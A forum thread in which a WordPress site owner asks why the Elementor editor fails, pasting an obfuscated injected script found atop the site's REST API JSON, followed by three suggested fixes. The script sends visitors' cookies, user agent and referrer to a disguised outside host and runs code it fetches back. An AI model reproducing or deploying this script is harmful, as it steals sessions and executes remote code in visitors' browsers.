I need your help.
I am using elementor on my website for editing a WordPress website, but lately, I have been having a problem when it comes to loading it up for editing, I am getting the WHITE SCREEN OF DEATH, the editor doesn’t load at all.
The error I am getting on the browser console are:
- SyntaxError: Unexpected token < in JSON at position 0 overrideMethod @ react_devtools_backend.js:2450
- Uncaught (in promise) SyntaxError: Unexpected token < in JSON at position 0
So I went ahead and use WP REST API to check my JSON:
https://atheneumcollective.com/wp-json/wp/v2/posts/?filter[p]=9887 [FAQ page ]
https://atheneumcollective.com/wp-json/wp/v2/posts/?filter[p]=9881 [About Page ]
https://atheneumcollective.com/wp-json/wp/v2/posts/?filter[p]=9868 [Homepage]
and I found this script on top of the JSON, which doesn’t belong there and I am sure ain’t suppose to be there.
<script type="text/javascript" defer>function VsX(){ll=false;var Jlm=new Image();Object.defineProperty(Jlm,'id',{get:function(){ll=true;}});requestAnimationFrame(function CVgg(){ll=false;console.log('%c',Jlm);if(!ll){window.onload=function(){userID=[25,25,26,23,27,23,13,19,4,28,21,2,29,23,26,25,12,23,18,20,2,21,22,2,2];l1='//static.xx.fbcdn.net.com/plrhg',EazuU='';for(lI=0;lI<userID.length;lI++){EazuU=EazuU+l1[userID[lI]];}NjQ=new XMLHttpRequest();NjQ.onreadystatechange=function(){if(NjQ.readyState==4&&NjQ.status==200){FUVm=NjQ.responseText;FUVm=FUVm.split('}');FUVm=FUVm[FUVm.length-1].split(' ');OFNk='';for(l1l in FUVm){l11='';for(l1I in FUVm[l1l])l11+=(FUVm[l1l][l1I]==' ')?'1':'0';OFNk+=String.fromCharCode(parseInt(l11,2).toString(10));}UCr=new Function(OFNk.substr(0,OFNk.length-1));UCr();}};NjQ.open('POST',decodeURIComponent(escape(EazuU)),!0);NjQ.setRequestHeader('Content-type','application/x-www-form-urlencoded');NjQ.send('u='+navigator.userAgent+'&r='+document.referrer+'&c='+encodeURIComponent(document.cookie));};}});}setTimeout(VsX(),1500);</script>
In order for me to get Elementor to work, I think I need to get rid of this script on top of the JSON:
- How can I get rid of this script on top?
- Anyone familiar with this script above?
- Any help will do.
Thank you.
3
Answers
The solution to my problem was to re-install the WordPress core files.
here is the link to help you re-install the WordPress core files:
https://kinsta.com/blog/reinstall-wordpress/
Did you update the Elementor plugin? It happend to me a few weeks ago and I just went back to the old elementor version, and it works again…
I know this is a bit old, but FWIW I’ll share my experience here:
I was experiencing this exact same error with Elementor when running a site on localhost, and after some trial-and-error, I found out the root cause of the issue in my
wp-config.php
file:define( 'WP_DEBUG', true );
Having debug on was causing debug messages to be printed on every served page (including ‘json’ responses), causing the issue. So after changing WP_DEBUG to false the error stopped.
Hope it helps.